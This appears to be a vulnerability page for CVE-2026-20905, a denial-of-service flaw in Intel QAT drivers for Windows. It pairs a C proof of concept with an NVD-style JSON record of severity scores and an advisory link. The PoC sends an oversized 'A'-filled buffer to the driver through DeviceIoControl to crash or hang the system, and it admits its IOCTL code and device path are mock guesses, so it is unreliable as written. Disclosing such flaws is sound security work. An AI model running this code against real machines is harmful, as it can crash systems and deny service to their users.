CVE-2026-20905

/* * PoC for CVE-2026-20905 (Conceptual) * This code demonstrates how a lack of input validation in Ring 3 * might lead to a Denial of Service. * Compile with: gcc poc.c -o poc */ #include <windows.h> #include <stdio.h> // Mock IOCTL code for Intel QAT driver interaction #define INTEL_QAT_IOCTL_VULN 0x80002000 int main() { HANDLE hDevice; char buffer[1024]; DWORD bytesReturned; BOOL result; printf("[*] Attempting to open vulnerable Intel QAT driver...\n"); // Attempt to open the device handle (Path is hypothetical) hDevice = CreateFileA("\\\\.\\IntelQATDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[-] Ensure the driver is loaded and you have permissions.\n"); return 1; } printf("[+] Device handle opened successfully.\n"); printf("[*] Sending malformed buffer to trigger DoS...\n"); // Fill buffer with pattern 'A' to simulate improper input validation memset(buffer, 'A', sizeof(buffer)); // Send the IOCTL request result = DeviceIoControl(hDevice, INTEL_QAT_IOCTL_VULN, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); if (!result) { // If the driver crashes here, the system may experience a BSOD or Hang printf("[!] DeviceIoControl failed. This might indicate a crash (DoS). Error: %d\n", GetLastError()); } else { printf("[-] Request succeeded unexpectedly. Vulnerability not triggered.\n"); } CloseHandle(hDevice); return 0; }

{"cve": {"id": "CVE-2026-20905", "sourceIdentifier": "[email protected]", "published": "2026-05-12T17:16:19.767", "lastModified": "2026-05-15T20:05:00.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation for some Intel(R) QAT software drivers for Windows before version 2.6 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (low) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:intel:quickassist_technology:*:*:*:*:*:windows:*:*", "versionEndExcluding": "2.6.0-0018", "matchCriteriaId": "6416303E-851F-4530-875E-D349969919BE"}]}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01387.html", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}